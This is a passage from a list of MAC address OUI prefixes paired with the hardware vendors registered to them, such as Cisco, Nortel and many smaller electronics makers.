Co., Ltd. 00248F DO-MONIX 002496 Ginzinger electronic systems 002477 Tibbo Technology 002470 AUROTECH ultrasound AS. 002472 ReDriven Power Inc. 00246B Covia, Inc. 002464 Bridge Technologies Co AS 00245F Vine Telecom CO.,Ltd. 002420 NetUP Inc. 002426 NOHMI BOSAI LTD. 00241A Red Beetle Inc. 002413 Cisco Systems, Inc 00240D OnePath Networks LTD. 00240E Inventec Besta Co., Ltd. 002407 TELEM SAS 002400 Nortel Networks 0024D0 Shenzhen SOGOOD Industry CO.,LTD. 0024D5 Winward Industrial Limited 0024C9 Broadband Solutions Group 0024C4 Cisco Systems, Inc 0024BF CIAT 0024B5 Nortel Networks 00245A Nanjing Panda Electronics Company Limited 002453 Initra d.o.o. 00244D Hokkaido Electronics Corporation 002452 Silicon Software GmbH 002446 MMB Research Inc. 002441 Wanzl Metallwarenfabrik GmbH 002368 Zebra Technologies Inc 00236F DAQ System 002362 Goldline Controls 002361 Unigen Corporation 00235C Aprius, Inc. 002355 Kinco Automation(Shanghai) Ltd. 00234F Luminous Power Technologies Pvt. Ltd. 002350 LynTec 002349 Helmholtz Centre Berlin for Material and Energy 002244 Chengdu Linkon Communications Device Co., Ltd 00224F Byzoro Networks Ltd. 002248 Microsoft Corporation 00223E IRTrans GmbH 002239 Indiana Life Sciences Incorporated 002232 Design Design Technology Ltd 00222C Ceton Corp 00230E Gorba AG 002307 FUTURE INNOVATION TECH CO.,LTD 002302 Cobalt Digital, Inc. 0022EB Data Respons A/S 0022EC IDEALBT TECHNOLOGY CORPORATION 0022F1 Private 00239E Jiangsu Lemote Technology Corporation Limited 002398 Vutlan sro 002384 GGH Engineering s.r.l. 002342 Coffee Equipment Company 002336 METEL s.r.o. 002330 DIZIPIA, INC. 00232C Senticare 002320 Nicira Networks 00231D Deltacom Electronics Ltd 00231E Cezzer Multimedia Technologies 0022B8 Norcott 0022B7 GSS Grundig SAT-Systems GmbH 0022B2 4RF Communications Ltd 0022AB Shenzhen Turbosight Technology Ltd 0022A6 Sony Computer Entertainment America 00229F Sensys Traffic AB 0022E5 Fisher-Rosemount Systems Inc. 0022DE OPPO Digital, Inc. 0022D9 Fortex Industrial Ltd. 0022D2 All Earth Comércio de Eletrônicos LTDA. 0022CC SciLog, Inc. 0022C8 Applied Instruments B.V. 0022BE Cisco Systems, Inc 00228C Photon Europe GmbH 002286 ASTRON 002285 NOMUS COMM SYSTEMS 002280 A2B Electronics AB 002276 Triple EYE B.V. 00227B Apogee Labs, Inc. 002262 BEP Marine 00226C LinkSprite Technologies, Inc. 00225E Uwin Technologies Co.,LTD 002258 Taiyo Yuden Co., Ltd. 0023C3 LogMeIn, Inc. 0023BD Digital Ally, Inc. 0023B7 Q-Light Co., Ltd. 0023B1 Longcheer Technology (Singapore) Pte Ltd 0023B0 COMXION Technology Inc. 0023AB Cisco Systems, Inc 0023A4 New Concepts Development Corp. 001FC0 Control Express Finland Oy 001FBB Xenatech Co.,LTD 001FB4 SmartShare Systems 001FAD Brown Innovations, Inc 001FAF NextIO, Inc. 001FAE Blick South Africa (Pty) Ltd 001FA8 Smart Energy Instruments Inc. 001FA3 T&W Electronics(Shenzhen)Co.,Ltd. 002142 Advanced Control Systems doo 002140 EN Technologies Inc. 002138 Cepheid 00212E dresden-elektronik 002128 Oracle Corporation 002122 Chip-pro Ltd. 00211B Cisco Systems, Inc 002115 PHYWE Systeme GmbH & Co. KG 002116 Transcon Electronic Systems, spol. s r. o. 00210F Cernium Corp 00210B GEMINI TRAZE RFID PVT. LTD. 00210C Cymtec Systems, Inc. 001FFC Riccius+Sohn GmbH 001FF7 Nakajima All Precision Co., Ltd. 00216E Function ATI (Huizhou) Telecommunications Co., Ltd. 002168 iVeia, LLC 002161 Yournet Inc. 002155 Cisco Systems, Inc 00214E GS Yuasa Power Supply Ltd. 002149 China Daheng Group ,Inc. 001FF0 Audio Partnership 001FE9 Printrex, Inc. 001FEB Trio Datacom Pty Ltd 001FEA Applied Media Technologies Corporation 001FDD GDI LLC 001FD8 A-TRUST COMPUTER CORPORATION 001FD3 RIVA Networks Inc. 001FCE QTECH LLC 00219D Adesys BV 0021A1 Cisco Systems, Inc 002198 Thai Radio Co, LTD 002193 Videofon MV 00218D AP Router Ind. Eletronica LTDA 00218E MEKICS CO., LTD. 002187 Imacs GmbH 002181 Si2 Microsystems Limited 00217B Bastec AB 002174 AvaLAN Wireless 0021F8 Enseo, Inc. 0021F3 Si14 SpA 0021EC Solutronic GmbH 0021E6 Starlight Video Limited 0021E0 CommAgility Ltd 0021D3 BOCOM SECURITY(ASIA PACIFIC) LIMITED 0021D4 Vollmer Werke GmbH 0021D9 SEKONIC CORPORATION 0021CD LiveTV 0021C7 Russound 0021C6 CSJ Global, Inc. 0021C1 ABB Oy / Medium Voltage Products 0021B4 APRO MEDIA CO., LTD 0021AE ALCATEL-LUCENT FRANCE - WTD 0021A2 EKE-Electronics Ltd. 0021A7 Hantle System Co., Ltd. 00221F eSang Technologies Co., Ltd. 002226 Avaak, Inc. 00221A Audio Precision 002213 PCI CORPORATION 00220D Cisco Systems, Inc 00220C Cisco Systems, Inc 002202 Excito Elektronik i Skåne AB 0021F9 WIRECOM Technologies 001F40 Speakercraft Inc. 001F38 POSITRON 001F3D Qbit GmbH 001F37 Genesis I&C 001F2A ACCM 001F31 Radiocomp 001F25 MBS GmbH 001F1E Astec Technology Co., Ltd 001F17 IDX Company, Ltd. 001F18 Hakusan.Mfg.Co,.Ltd 001E61 ITEC GmbH 001E5C RB GeneralEkonomik 001E5B Unitron Company, Inc. 001E55 COWON SYSTEMS,Inc. 001E4E DAKO EDV-Ingenieur- und Systemhaus GmbH 001E49 Cisco Systems, Inc 001E44 SANTEC 001E3F TrellisWare Technologies, Inc. 001E38 Bluecard Software Technology Co., Ltd. 001E31 INFOMARK CO.,LTD. 001E32 Zensys 001E2C CyVerse Corporation 001E20 Intertain Inc. 001E19 GTRI 001E0F Briot International 001EE4 ACS Solutions France 001EEB Talk-A-Phone Co. 001EDF Master Industrialization Center Kista 001EDA Wesemann Elektrotechniek B.V. 001ED5 Tekon-Automatics 001ECE BISA Technologies (Hong Kong) Limited 001EC8 Rapid Mobile (Pty) Ltd 001EBB BLUELIGHT TECHNOLOGY INC. 001EB6 TAG Heuer SA 001EB5 Ever Sparkle Technologies Ltd 001EAF Ophir Optronics Ltd 001EAA E-Senza Technologies GmbH 001E9D Recall Technologies, Inc. 001E98 GreenLine Communications 001E97 Medium Link System Technology CO., LTD, 001E91 KIMIN Electronic Co., Ltd. 001E8A eCopy, Inc 001E85 Lagotek Corporation 001E78 Owitek Technology Ltd., 001E6D IT R&D Center 001E6E Shenzhen First Mile Communications Ltd 001F71 xG Technology, Inc. 001F72 QingDao Hiphone Technology Co,.Ltd 001F76 AirLogic Systems Inc. 001F6C Cisco Systems, Inc 001F60 COMPASS SYSTEMS CORP. 001F65 KOREA ELECTRIC TERMINAL CO., LTD. 001F5F Blatand GmbH 001F59 Kronback Tracers 001F4D Segnetics LLC 001F52 UVT Unternehmensberatung fur Verkehr und Technik GmbH 001F03 NUM AG 001EFE LEVEL s.r.o. 001F04 Granch Ltd. 001EF2 Micro Motion Inc 001EF7 Cisco Systems, Inc 001EF1 Servimat 001F9E Cisco Systems, Inc 001F97 BERTANA srl 001F8B Cache IQ 001F84 Gigle Semiconductor 001F7F Phabrix Limited 001CFF Napera Networks Inc 001CF8 Parade Technologies, Ltd. 001CF1 SUPoX Technology Co. , LTD. 001CF2 Tenlon Technology Co.,Ltd. 001CEC Mobilesoft (Aust.) Pty Ltd 001CE7 Rocon PLC Research Centre 001CE2 Attero Tech, LLC. 001CDB CARPOINT CO.,LTD 001CD5 ZeeVee, Inc. 001CCF LIMETEK 001E08 Centec Networks Inc 001E03 LiComm Co., Ltd. 001DFC KSIC 001DF5 Sunshine Co,LTD 001DF0 Vidient Systems, Inc. 001DDC HangZhou DeChangLong Tech&Info Co.,Ltd 001DE4 Visioneered Image Systems 001DE2 Radionor Communications 001CC8 INDUSTRONIC Industrie-Electronic GmbH & Co. KG 001CBC CastGrabber, LLC 001CB2 BPT SPA 001CA6 Win4NET 001CAB Meyer Sound Laboratories, Inc. 001CAC Qniq Technology Corp. 001CA1 AKAMAI TECHNOLOGIES, INC. 001C95 Opticomm Corporation 001C90 Empacket Corporation 001C8F Advanced Electronic Design, Inc. 001C89 Force Communications, Inc. 001C7F Check Point Software Technologies 001C75 Segnet Ltd. 001C6E Newbury Networks, Inc. 001C69 Packet Vision Ltd 001DA5 WB Electronics 001DA6 Media Numerics Limited 001DA0 Heng Yu Electronic Manufacturing Company Limited 001D99 Cyan Optic, Inc. 001D94 Climax Technology Co., Ltd 001D93 Modacom 001D8D Raytek GmbH 001D86 Shinwa Industries(China) Ltd. 001DC9 GainSpan Corp. 001DC2 XORTEC OY 001DBD Versamed Inc. 001DB6 BestComm Networks, Inc. 001DB0 FuJian HengTong Information Technology Co.,Ltd 001DAC Gigamon Systems LLC 001D81 GUANGZHOU GATEWAY ELECTRONICS CO., LTD 001D69 Knorr-Bremse IT-Services GmbH 001D70 Cisco Systems, Inc 001D77 NSGate 001D7C ABE Elettronica S.p.A. 001D64 Adam Communications Systems Int Ltd 001D5D Control Dynamics Pty. Ltd. 001D21 Alcad SL 001D1C Gennet s.a. 001D17 Digital Sky Corporation 001D12 ROHM CO., LTD. 001D11 Analogue & Micro Ltd 001D0B Power Standards Lab 001D04 Zipit Wireless, Inc. 001D58 CQ Inc 001D57 CAETEC Messtechnik 001D51 Babcock & Wilcox Power Generation Group, Inc 001D47 Covote GmbH & Co KG 001D40Intel – GE Care Innovations LLC 001D34 SYRIS Technology Corp 001D2D Pylone, Inc. 001B2A Cisco Systems, Inc 001B1D Phoenix International Co., Ltd 001B22 Palit Microsystems ( H.K.) Ltd. 001B1B Siemens AG, 001B16 Celtro Ltd. 001B0A Intelligent Distributed Controls Ltd 001B0F Petratec 001AFE SOFACREAL 001B03 Action Technology (SZ) Co., Ltd 001B68 Modnnet Co., Ltd 001B62 JHT Optoelectronics Co.,Ltd. 001B61 Digital Acoustics, LLC 001B5C Azuretec Co., Ltd. 001B55 Hurco Automation Ltd. 001B50 Nizhny Novgorod Factory named after M.Frunze, FSUE (NZiF) 001B44 SanDisk Corporation 001B49 Roberts Radio limited 001B42 Wise & Blue 001B3D EuroTel Spa 001B36 Tsubata Engineering Co.,Ltd. (Head Office) 001B31 Neural Image. Co. Ltd. 001C56 Pado Systems, Inc. 001C5B Chubb Electronic Security Systems Ltd 001C5D Leica Microsystems 001C5C Integrated Medical Systems, Inc. 001C51 Celeno Communications 001C52 VISIONEE SRL 001C45 Chenbro Micom Co., Ltd. 001C4C Petrotest Instruments 001C39 S Netsystems Inc. 001C40 VDG-Security bv 001C32 Telian Corporation 001AC7 UNIPOINT 001AC2 YEC Co.,Ltd. 001AB8 Anseri Corporation 001ABD Impatica Inc. 001AB1 Asia Pacific Satellite Industries Co., Ltd. 001B8C JMicron Technology Corp. 001B91 EFKON AG 001B87 Deepsound Tech. Co., Ltd 001B82 Taiwan Semiconductor Co., Ltd. 001B7B The Tintometer Ltd 001B74 MiraLink Corporation 001B6F Teletrak Ltd 001AFC ModusLink Corporation 001AF2 Dynavisions Schweiz AG 001AF7 dataschalt e+a GmbH 001AED INCOTEC GmbH 001ADF Interactivetv Pty Limited 001AE1 EDGE ACCESS INC 001AE6 Atlanta Advanced Communications Holdings Limited 001AD3 Vamp Ltd. 001ADA Biz-2-Me Inc. 001ACE YUPITERU CORPORATION 001BC8 MIURA CO.,LTD 001BC1 HOLUX Technology, Inc. 001BB7 Alta Heights Technology Corp. 001BAB Telchemy, Incorporated 001BB0 BHARAT ELECTRONICS 001BA4 S.A.E Afikim 001B9F Calyptech Pty Ltd 001B9D Novus Security Sp. z o.o. 001BF6 CONWISE Technology Corporation Ltd. 001BF1 Nanjing SilverNet Software Co., Ltd. 001BEC Netio Technologies Co., Ltd 001BE7 Postek Electronics Co., Ltd. 001BE0 TELENOT ELECTRONIC GmbH 001BDB Valeo VECS 001BD4 Cisco Systems, Inc 001BCD DAVISCOMMS (S) PTE LTD 001C2D FlexRadio Systems 001C1C Center Communication Systems GmbH 001C21 Nucsafe Inc. 001C20 CLB Benelux 001C15 iPhotonix LLC 001C16 ThyssenKrupp Elevator 001C10 Cisco-Linksys, LLC 001C09 SAE Electronic Co.,Ltd. 001C04 Airgain, Inc. 001BFD Dignsys Inc. 00192B Aclara RF Systems Inc. 001930 Cisco Systems, Inc 00191F Microlink communications Inc. 001924 LBNLEngineering 001911 Just In Mobile Information Technologies (Shanghai) Co., Ltd. 001918 Interactive Wear AG 00190C Encore Electronics, Inc. 001900 Intelliverese - DBA Voicecom 001905 SCHRACK Seconet AG 0018F4 EO TECHNICS Co., Ltd. 0018F6 Thomson Telecom Belgium 0018FB Compro Technology 0019EE CARLO GAVAZZI CONTROLS SPA-Controls Division 0019F5 Imagination Technologies Ltd 0019E9 S-Information Technolgy, Co., Ltd. 0019DB MICRO-STAR INTERNATIONAL CO., LTD. 0019DD FEI-Zyfer, Inc. 0019CA Broadata Communications, Inc 0019CF SALICRU, S.A. 0019D6 LS Cable and System Ltd. 0019B4 Intellio Ltd 001A6E Impro Technologies 001A67 Infinite QL Sdn Bhd 001A69 Wuhan Yangtze Optical Technology CO.,Ltd. 001A62 Data Robotics, Incorporated 001A58 CCV Deutschland GmbH - Celectronic eHealth Div. 001A5D Mobinnova Corp. 001A4C Crossbow Technology, Inc 001A51 Alfred Mann Foundation 001AAA Analogic Corp. 001AA1 Cisco Systems, Inc 001A9C RightHand Technologies, Inc. 001A8B CHUNIL ELECTRIC IND., CO. 001A95 Hisense Mobile Communications Technoligy Co.,Ltd. 001A84 V One Multimedia Pte Ltd 0019A1 LG INFORMATION & COMM. 0019AD BOBST SA 0019B2 XYnetsoft Co.,Ltd 00199A EDO-EVI 00199F DKT A/S 001995 Jurong Hi-Tech (Suzhou)Co.ltd 001990 ELM DATA Co., Ltd. 001989 Sonitrol Corporation 001A3E Faster Technology LLC 001A40 A-FOUR TECH CO., LTD. 001A2D The Navvo Group 001A32 ACTIVA MULTIMEDIA 001A28 ASWT Co., LTD. Taiwan Branch H.K. 001A1C GT&T Engineering Pte Ltd 001A23 Ice Qube, Inc 001A15 gemalto e-Payment 001A10 LUCENT TRANS ELECTRONICS CO.,LTD 001A09 Wayfarer Transit Systems Ltd 001A02 SECURE CARE PRODUCTS, INC 001A04 Interay Solutions BV 001984 ESTIC Corporation 001976 Xipher Technologies, LLC 001978 Datum Systems, Inc. 00196A MikroM GmbH 001971 Guangzhou Unicomp Technology Co.,Ltd 001965 YuHua TelTech (ShangHai) Co., Ltd. 001960 DoCoMo Systems, Inc. 001954 Leaf Corporation. 001959 Staccato Communications Inc. 00194D Avago Technologies Sdn Bhd 001948 AireSpider Networks 001941 Pitney Bowes, Inc 001935 DUERR DENTAL AG 00193A OESOLUTIONS 00193C HighPoint Technologies Incorporated 001773 Laketune Technologies Co. Ltd 001778 Central Music Co. 00177A ASSA ABLOY AB 00176F PAX Computer Technology(Shenzhen) Ltd. 00176A Avago Technologies 001763 Essentia S.p.A. 00175E Zed-3 001750 GSI Group, MicroE Systems 001752 DAGS, Inc 001757 RIX TECHNOLOGY LIMITED 00183D Vertex Link Corporation 001844 Heads Up Technologies, Inc. 001838 PanAccess Communications,Inc. 001827 NEC UNIFIED SOLUTIONS NEDERLAND B.V. 00182C Ascend Networks, Inc. 00181B TaiJin Metal Co., Ltd. 001814 Mitutoyo Corporation 001819 Cisco Systems, Inc 001820 w5networks 001808 SightLogix, Inc. 00180D Terabytes Server Storage Tech Corp 001803 ArcSoft Shanghai Co. LTD 0017F0 SZCOM Broadband Network Technology Co.,Ltd 0017F7 CEM Solutions Pvt Ltd 0017FE TALOS SYSTEM INC. 0017D8 Magnum Semiconductor, Inc. 0017DD Clipsal Australia 0017DF Cisco Systems, Inc 0018C6 OPW Fuel Management Systems 0018CB Tecobest Technology Limited 0018BF Essence Technology Solution, Inc. 0018BA Cisco Systems, Inc 0018B8 New Voice International AG 0018B3 TEC WizHome Co., Ltd. 0018AC Shanghai Jiao Da HISYS Technology Co. Ltd. 0018A5 ADigit Technologies Corp. 0018A7 Yoggie Security Systems LTD. 001896 Great Well Electronic LTD 00189B Thomson Inc. 00179E Sirit Inc 0017A3 MIX s.r.l. 0017A8 EDM Corporation 001792 Falcom Wireless Comunications Gmbh 001797 Telsy Elettronica S.p.A. 001799 SmarTire Systems Inc. 00178B Teledyne Technologies Incorporated 00177F Worldsmart Retech 001786 wisembed 001877 Amplex A/S 00186B Sambu Communics CO., LTD. 001870 E28 Shanghai Limited 001863 Veritech Electronics Limited 001850 Secfone Kft 001855 Aeromaritime Systembau GmbH 001857 Unilever R&D 001849 Pigeon Point Systems LLC 0017C7 MARA Systems Consulting AB 0017CE Screen Service Spa 0017D3 Etymotic Research, Inc. 0017BB Syrinx Industrial Electronics 0017B4 Remote Security Systems, LLC 0017B6 Aquantia 0017AF Enermet 0018E8 Hacetron Corporation 0018EF Escape Communications, Inc. 0018E3 Visualgate Systems, Inc. 0018DC Prostar Co., Ltd. 0018E1 Verkerk Service Systemen 0018D0 AtRoad,A Trimble Company 0018D5 REIGNCOM 0018A0 Cierma Ascenseurs 001883 FORMOSA21 INC. 00188A Infinova LLC 00188F Montgomery Technology, Inc. 00187C INTERCROSS, LLC 00187E RGB Spectrum 00164A Vibration Technology Limited 001644 LITE-ON Technology Corp. 001645 Power Distribution, Inc. 00163B VertexRSI/General Dynamics 001640 Asmobile Communication Inc. 00163A YVES TECHNOLOGY CO., LTD. 001634 Mathtech, Inc. 00162D STNet Co., Ltd. 001621 Colorado Vnet 00161A Dametric AB 001615 Nittan Company, Limited 0016C4 SiRF Technology, Inc. 0016C6 North Atlantic Industries 0016D2 Caspian 0016BF PaloDEx Group Oy 0016B3 Photonicbridges (China) Co., Ltd. 0016AC Toho Technology Corp. 0016B1 KBS 0016A7 AWETA G&P 001724 Studer Professional Audio GmbH 001718 Vansco Electronics Oy 00171D DIGIT 001711 GE Healthcare Bio-Sciences AB 00170C Twig Com Ltd. 001707 InGrid, Inc 001702 Osung Midicom Co., Ltd 001744 Araneo Ltd. 00173C Extreme Engineering Solutions 001737 Industrie Dial Face S.p.A. 00172B Global Technologies Inc. 001730 Automation Electronics 001729 Ubicod Co.LTD 00169B Alstom Transport 0016A2 CentraLite Systems, Inc. 001696 QDI Technology (H.K.) Limited 001688 ServerEngines LLC 00168A id-Confirm Inc 001683 WEBIO International Co.,.Ltd. 00167C iRex Technologies BV 001610 Carina Technology 00160B TVWorks LLC 001604 Sigpro 0015FE SCHILLING ROBOTICS LLC 0015FD Complete Media Systems 0015F8 Kingtronics Industrial Co. Ltd. 0015EC Boca Devices LLC 0015F1 KYLINK Communications Corp. 001677 Bihl + Wiedemann GmbH 001670 SKNET Corporation 001664 Prod-El SpA 001669 MRV Communication (Networks) LTD 00165D AirDefense, Inc. 001651 Exeo Systems 0015E5 Cheertek Inc. 0015DB Canesta Inc. 0015D4 Emitor AB 0015C8 FlexiPanel Ltd 0015C3 Ruf Telematik AG 0015C2 3M Germany 0015BE Iqua Ltd. 0016EF Koko Fitness, Inc. 0016F4 Eidicom Co., Ltd. 0016E8 Sigma Designs, Inc. 0016DC ARCHOS 0016E1 SiliconStor, Inc. 0016D7 Sunways AG 0014CB LifeSync Corporation 0014D0 BTI Systems Inc. 0014C4 Vitelcom Mobile Technology 0014BE Wink communication technology CO.LTD 0014BD incNETWORKS, Inc 0014B8 Hill-Rom 0014AE Wizlogics Co., Ltd. 0014B3 CoreStar International Corp 00149B Nokota Communications, LLC 001431 PDL Electronics Ltd 001433 Empower Technologies(Canada) Inc. 001432 Tarallax Wireless, Inc. 00142C Koncept International, Inc. 001425 Galactic Computing Corp. 001420 G-Links networking company 00141B Cisco Systems, Inc 00146D RF Technologies 00146F Kohler Co 00146E H. Stoll GmbH & Co. KG 001468 CelPlan International, Inc. 001461 CORONA CORPORATION 00145C Intronics B.V. 001455 Coder Electronics Corporation 001444 Grundfos Holding 00144B Hifn, Inc. 001589 D-MAX Technology Co.,Ltd 001582 Pulse Eight Limited 00157C Dave Networks, Inc. 001578 Audio / Video Innovations 001573 NewSoftTechnology Corporation 00156C SANE SYSTEM CO., LTD 001571 Nolan Systems 001572 Red-Lemon 001565 XIAMEN YEALINK NETWORK TECHNOLOGY CO.,LTD 001559 Securaplane Technologies, Inc. 0014A2 Core Micro Systems Inc. 001494 ESU AG 00148F Protronic (Far East) Ltd. 001488 Akorri 001483 eXS Inc. 001480 Hitachi-LG Data Storage Korea, Inc 00147B Iteris, Inc. 001474 K40 Electronics 0015B8 Tahoe 0015B2 Advanced Industrial Computer, Inc. 0015AE kyung il 0015AD Accedian Networks 00E0A8 SAT GmbH & Co. 0015A1 ECA-SINTERS 00159C B-KYUNG SYSTEM Co.,Ltd. 001595 Quester Tangent Corporation 00158E Plustek.INC 001552 Wi-Gear Inc. 001548 CUBE TECHNOLOGIES 00154D Netronome Systems, Inc. 00153C Kprotech Co., Ltd. 001543 Aberdeen Test Center 001535 OTE Spa 001537 Ventus Networks 001536 Powertech co.,Ltd 001529 N3 Corporation 0014F9 Vantage Controls 0014FB Technical Solutions Inc. 0014FA AsGa S.A. 0014F4 DekTec Digital Video B.V. 0014ED Airak, Inc. 0014DE Sage Instruments Inc. 0014E3 mm-lab GmbH 0014D7 Datastore Technology Corp 001524 Numatics, Inc. 00151D M2I CORPORATION 001513 EFS sas 001507 Renaissance Learning Inc 00129E Surf Communications Inc. 001297 O2Micro, Inc. 001298 MICO ELECTRIC(SHENZHEN) LIMITED 00128D STB Datenservice GmbH 00128E Q-Free ASA 001292 Griffin Technology 00127C SWEGON AB 001281 March Networks S.p.A. 00127B VIA Networking Technologies, Inc. 001327 Data Acquisitions limited 00131D Scanvaegt International A/S 001322 DAQ Electronics, Inc. 001316 L-S-B Broadcast Technologies GmbH 00130F EGEMEN Bilgisayar Muh San ve Tic LTD STI 0012F7 Xiamen Xinglian Electronics Co., Ltd. 0012FE Lenovo Mobile Communication Technology Ltd. 001303 GateConnect 0012FD OPTIMUS IC S.A. 00140F Federal State Unitary Enterprise Leningrad R&D Institute of 001416 Scosche Industries, Inc. 001406 Go Networks 001407 Sperian Protection Instrumentation 00140C GKB CCTV CO., LTD. 0013FF Dage-MTI of MC, Inc. 001400 MINERVA KOREA CO., LTD 0013FA LifeSize Communications, Inc 0013F3 Giga-byte Communications Inc. 0013EE JBX Designs Inc. 0013ED PSIA 00135A Project T&E Limited 00135F Cisco Systems, Inc 001360 Cisco Systems, Inc 001352 Naztec, Inc. 00134B ToGoldenNet Technology Inc. 00134C YDT Technology International 00133A VadaTech Inc. 00133F Eppendorf Instrumente GmbH 00132C MAZ Brandenburg GmbH 001339 CCV Deutschland GmbH 0013AD Sendo Ltd 0013B4 Appear TV 0013A8 Tanisys Technology 0013A7 BATTELLE MEMORIAL INSTITUTE 0013A1 Crow Electronic Engeneering 00139A K-ubique ID Corp. 001395 congatec AG 00138E FOAB Elektronik AB 001388 WiMedia Alliance 0013E4 YANGJAE SYSTEMS CORP. 0013E9 VeriWave, Inc. 0013E3 CoVi Technologies, Inc. 0013DD Abbott Diagnostics 0013D6 TII NETWORK TECHNOLOGIES, INC. 0013D1 KIRK telecom A/S 0013CA Pico Digital 0013C3 Cisco Systems, Inc 0013C4 Cisco Systems, Inc 0013BA ReadyLinks Inc 0013BE Virtual Conexions 0013B9 BM SPA 0012F3 connectBlue AB 0012ED AVG Advanced Technologies 0012E6 SPECTEC COMPUTER CO., LTD. 0012E1 Alliant Networks, Inc 0012D3 Zetta Systems, Inc. 0012DA Cisco Systems, Inc 0012D4 Princeton Technology, Ltd 0012C7 SECURAY Technologies Ltd.Co. 0012CE Advanced Cybernetics Group 0012C2 Apex Electronics Factory 0012C1 Check Point Software Technologies 0012B8 G2 Microsystems 0012BD Avantec Manufacturing Limited 0012B7 PTW Freiburg 0012B1 Dai Nippon Printing Co., Ltd 0012A5 Stargen, Inc. 0012AA IEE, Inc. 001379 PONDER INFORMATION INDUSTRIES LTD. 001380 Cisco Systems, Inc 001385 Add-On Technology Co., LTD. 00137F Cisco Systems, Inc 00136D Tentaculus AB 001366 Neturity Technologies Inc. 001258 Activis Polska 001251 SILINK 001252 Citronix, LLC 001245 Zellweger Analytics, Inc. 00124C BBWM Corporation 001239 S Net Systems Inc. 001240 AMOI ELECTRONICS CO.,LTD 00122D SiNett Corporation 001232 LeWiz Communications Inc. 0011C5 TEN Technology 0011C8 Powercom Co., Ltd. 0011CD Axsun Technologies 0011B4 Westermo Teleindustri AB 0011B9 Inner Range Pty. Ltd. 0011C0 Aday Technology Inc 0011B3 YOSHIMIYA CO.,LTD. 0011AD Shanghai Ruijie Technology 001138 TAISHIN CO., LTD. 00113F Alcatel DI 001133 Siemens Austria SIMEA 001132 Synology Incorporated 001129 Paradise Datacom Ltd. 00112E CEICOM 001128 Streamit 001122 CIMSYS Inc 001171 DEXTER Communications, Inc. 00116A Domo Ltd 001160 ARTDIO Company Co., LTD 001154 Webpro Technologies Inc. 00114B Francotyp-Postalia GmbH 001145 ValuePoint Networks 0011A1 VISION NETWARE CO.,LTD 0011A6 Sypixx Networks 00119A Alkeria srl 001190 Digital Design Corporation 00118A Viewtran Technology Limited 001194 Chi Mei Communication Systems, Inc. 001189 Aerotech Inc 001184 Humo Laboratory,Ltd. 00117D ZMD America, Inc. 001178 Chiron Technology Ltd 001177 Coaxial Networks, Inc. 001223 Pixim 001228 Data Ltd. 001210 WideRay Corp 001215 iStor Networks, Inc. 001216 ICP Internet Communication Payment AG 001209 Fastrax Ltd 001204 u10 Networks, Inc. 0011FD KORG INC. 001203 ActivNetworks 0011F3 NeoMedia Europe AG 0011E7 WORLDSAT - Texas de France 0011EC AVIX INC. 0011E0 U-MEDIA Communications, Inc. 0011DA Vivaas Technology Inc. 0011D4 NetEnrich, Inc 0011D9 TiVo 00111C Pleora Technologies Inc. 00110F netplat,Inc. 001116 COTEAU VERT CO., LTD. 001109 Micro-Star International 001103 kawamura electric inc. 000FFD Glorytek Network Inc. 000FEE XTec, Incorporated 001275 Sentilla Corporation 00126E Seidel Elektronik GmbH Nfg.KG 001269 Value Electronics 00125C Green Hills Software, Inc. 000F15 Kjaerulff1 A/S 000F1A Gaming Support B.V. 000F0E WaveSplitter Technologies, Inc. 000F08 Indagon Oy 000F07 Mangrove Systems, Inc. 000F02 Digicube Technology Co., Ltd 000EFB Macey Enterprises 000EF5 iPAC Technology Co., Ltd. 000EF6 E-TEN Information Systems Co., Ltd. 000E8A Avara Technologies Pty. Ltd. 000E83 Cisco Systems, Inc 000E73 Tpack A/S 000E7D Electronics Line 3000 Ltd. 000E77 Decru, Inc. 000E7E ionSign Oy 000E6F IRIS Corporation Berhad 000E6A 3Com Ltd 000E69 China Electric Power Research Institute 000E63 Lemke Diagnostics GmbH 000EBC Paragon Fidelity GmbH 000EB0 Solutions Radio BV 000EB5 Ecastle Electronics Co., Ltd. 000EAF CASTEL 000EA9 Shanghai Xun Shi Communications Equipment Ltd. Co. 000E9D Tiscali UK Ltd 000EA2 McAfee, Inc 000E90 PONICO CORP. 000E96 Cubic Defense Applications, Inc. 000F4E Cellink 000F41 Zipher Ltd 000F48 Polypix Inc. 000F4D TalkSwitch 000F39 IRIS SENSORS 000F3C Endeleo Limited 000F34 Cisco Systems, Inc 000F2D CHUNG-HSIN ELECTRIC & MACHINERY MFG.CORP. 000F27 TEAL Electronics, Inc. 000F28 Itronix Corporation 000F21 Scientific Atlanta, Inc 000EEF Private 000EDC Tellion INC. 000EE3 Chiyu Technology Co.,Ltd 000EC8 Zoran Corporation 000ECF PROFIBUS Nutzerorganisation e.V. 000ED4 CRESITT INDUSTRIE 000EC2 Lowrance Electronics, Inc. 000EC1 MYNAH Technologies 000F92 Microhard Systems Inc. 000F99 APAC opto Electronics Inc. 000F8D FAST TV-Server AG 000F80 Trinity Security Systems,Inc. 000F7F UBSTORAGE Co.,Ltd. 000FC9 Allnet GmbH 000FBC Onkey Technologies, Inc. 000FBB Nokia Siemens Networks GmbH & Co. KG. 000FB6 Europlex Technologies 000FA9 PC Fabrik 000FAA Nexus Technologies 000FAF Dialog Inc. 000FE8 Lobos, Inc. 000FED Anam Electronics Co., Ltd 000FDC Ueda JapanRadio Co., Ltd. 000FE1 ID DIGITAL CORPORATION 000FD5 Schwechat - RISE 000FCE Kikusui Electronics Corp. 000F73 RS Automation Co., Ltd 000F7A BeiJing NuQX Technology CO.,LTD 000F6D Midas Engineering 000F67 West Instruments 000F6E BBox 000F60 Lifetron Co.,Ltd 000F5B Delta Information Systems, Inc. 000F54 Entrelogic Corporation 000D75 Kobian Pte Ltd - Taiwan Branch 000D7C Codian Ltd 000D6F Ember Corporation 000D69 TMT&D Corporation 000D70 Datamax Corporation 000D5D Raritan Computer, Inc 000D62 Funkwerk Dabendorf GmbH 000D50 Galazar Networks 000D4A Steag ETA-Optik 000DAB Parker Hannifin GmbH Electromechanical Division Europe 000DA7 Private 000DA1 MIRAE ITS Co.,LTD. 000DA2 Infrant Technologies, Inc. 000D9B Heraeus Electro-Nite International N.V. 000D8F King Tsushin Kogyo Co., LTD. 000D94 AFAR Communications,Inc 000D81 Pepperl+Fuchs GmbH 000DCE Dynavac Technology Pte Ltd 000DC8 AirMagnet, Inc 000DC2 Private 000DC7 COSMIC ENGINEERING INC. 000DBB Nippon Dentsu Co.,Ltd. 000DB5 GLOBALSAT TECHNOLOGY CORPORATION 000DAF Plexus Corp (UK) Ltd 000D29 Cisco Systems, Inc 000D23 Smart Solution, Inc 000D17 Turbo Networks Co.Ltd 